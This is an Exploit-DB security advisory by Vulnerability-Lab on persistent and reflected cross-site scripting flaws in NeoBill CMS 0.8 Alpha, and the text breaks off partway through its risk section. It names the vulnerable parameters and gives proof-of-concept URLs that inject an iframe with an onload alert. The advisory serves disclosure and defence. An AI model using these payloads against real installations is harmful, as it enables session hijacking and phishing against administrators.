Exploit-DB #21317
Description: NeoBill CMS 0.8 Alpha - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-14
Author: Vulnerability-Lab

Exploit:
Title:
======
NeoBill CMS v0.8 Alpha - Multiple Web Vulnerabilities


Date:
=====
2012-08-18


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=685


VL-ID:
=====
685


Common Vulnerability Scoring System:
====================================
3.5


Introduction:
=============
NeoBill is a web-based Customer Management and Billing solution designed for web hosting providers, 
particularly hosting resellers. It is developed in PHP, uses MySQL as the backend database, and 
is licensed under the GPL. The script supports independent payment gateways, and registrars of domain names.

Key features of the product:
* Open source (GPL)
* Support for PHP4 and PHP5
* Use MySQL database
* Independent Payment Gateways Module
* Indepenent Domain Registrar Module
* Multi-user system
* The ability to integrate third-party modules
* Using Smarty templates
* Checking the active, inactive and pending accounts
* Attachments to the memos Account
* Sending predefined e-mail\\\\\\\\\\\\\\\'ov for new customers
* Creating and editing accounts, which can be printed or sent by mail to its customers
* Accounts can be generated by one or all at once
* Payments
* Set one-time and monthly payments for each service / service
* Services have a duration of 1,3,6 and 12 months
* Domain registration through API Directi

(Copy of the Vendor Homepage: http://www.neobill.net/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the NeoBill v0.8 Alpha Content Management System.


Report-Timeline:
================
2012-08-19:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
A persistent input validation vulnerability is detected in the NeoBill v0.8 Alpha Content Management System.
The vulnerability allows remote attackers or local low privileged user account to inject/implement malicious persistent script 
code on application side of the neobill v0.8 web application. The vulnerability is located in the user account module with 
the bound vulnerable contactname or username parameters. Attackers can inject via register account or update profile malicious 
persistent script codes as companyname and username. The code will be persistent executed in the administration backend when processing 
to watching the user account listings. Successful exploitation of the vulnerability result in persistent session hijacking attacks, 
persistent phishing requests & stable persistent module context manipulation.


Vulnerable Module(s):
				[+] User Accounts - Management [Admin Backend]

Vulnerable Parameter(s):
				[+] Contactname
				[+] Username 


1.2
Multiple client side cross site scripting vulnerabilities are detected in the NeoBill v0.8 Alpha Content Management System.
The vulnerability allows an remote attacker to manipulate client side application requests with medium or high required user 
inter action.  The vulnerabilities are located in the unsanitized output of the Uncaught SWException & Invalid Object Exception 
web application modules. Successful exploitation of the vulnerability result in client side session hijacking, non-persistent 
phishing requests & non-persistent module context manipulation.


Vulnerable Module(s):
				[+] 2 x Exception Handling

Vulnerable Parameter(s):
				[+] Uncaught SWException Handling
				[+] Invalid Object Exception Handling


Proof of Concept:
=================
1.1
The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low 
required user inter action. For demonstration or reproduce ...

Review: Listing - Contactname & Username

<tr>
<td> 
<a href="http://neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=config_edit_user&user=admin">admin</a>
</td>
<td> 
Administrator
</td>
<td> 
admin admin "><[PERSISTET INJECTED SCRIPT CODE!]")' <="" td="">
<td> 
<a 
href="mailto:sysop@neobill.servertest.de">sysop@neobill.servertest.de</a>
</td>



Affected User Account - Listing:
http://neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=config_edit_user&user=admin
http://neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=config_users



1.2
The non persistent cross site scripting vulnerabilities can be exploited by remote attackers without low privileged application 
user account with medium or high required user inter action. For demonstration or reproduce ...


Exception Handling -  Uncaught SWException & Invalid Object Exception
neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=services_new_domain_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C
neobill.127.0.0.1:1339/neobill/manager/manager_content.php?page=view_log_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C&log=1

Search:
neobill.127.0.0.1:1339/neobill/manager/manager_content.php
?page=services_servers&submit=search_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C

Register Domain:
neobill.127.0.0.1:1339/neobill/manager/manager_content.php
?page=domains_register&submit=register_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C


New Domain Service:
neobill.127.0.0.1:1339/neobill/manager/manager_content.php
?page=services_new_domain_service&submit=new_%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VLABS%22%29%20%3C


Risk:
=====
1.1
The security risk of the persistent input validation vulnerability is estimated as high.

1.2
The security risk of the non persistent cross site scripting vulner